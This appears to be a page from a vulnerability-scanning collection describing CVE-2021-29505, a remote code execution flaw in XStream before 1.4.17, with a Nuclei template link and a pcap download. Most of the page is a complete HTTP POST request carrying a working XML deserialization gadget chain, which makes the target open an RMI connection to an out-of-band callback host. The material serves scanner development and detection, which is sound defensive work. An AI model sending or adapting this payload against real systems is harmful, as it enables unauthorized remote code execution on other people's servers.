CVE-2021-29505: XStream <1.4.17 - Remote Code Execution

🔍 Vulnerability Description

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 3173
Content-Type: application/xml
Accept-Encoding: gzip

<java.util.PriorityQueue serialization='custom'>

    <unserializable-parents/>

    <java.util.PriorityQueue>

        <default>

            <size>2</size>

        </default>

        <int>3</int>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.org.apache.xpath.internal.objects.XString'>

                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

                    <parsedMessage>true</parsedMessage>

                    <soapVersion>SOAP_11</soapVersion>

                    <bodyParts/>

                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

                        <attachmentsInitialized>false</attachmentsInitialized>

                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

                                    <names>

                                        <string>aa</string>

                                        <string>aa</string>

                                    </names>

                                    <ctx>

                                        <environment/>

                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

                                            <java.rmi.server.RemoteObject>

                                                <string>UnicastRef</string>

                                                <string>d5jnnsple0o17b2h43tga4xkmo49k43ri.oast.pro</string>

                                                <int>1099</int>

                                                <long>0</long>

                                                <int>0</int>

                                                <long>0</long>

                                                <short>0</short>

                                                <boolean>false</boolean>

                                            </java.rmi.server.RemoteObject>

                                        </registry>

                                        <host>d5jnnsple0o17b2h43tg4k3drgt6q3dyu.oast.pro</host>

                                        <port>1099</port>

                                    </ctx>

                                </candidates>

                            </aliases>

                        </nullIter>

                    </sm>

                </message>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

    </java.util.PriorityQueue>

</java.util.PriorityQueue>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29505.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29505.pcap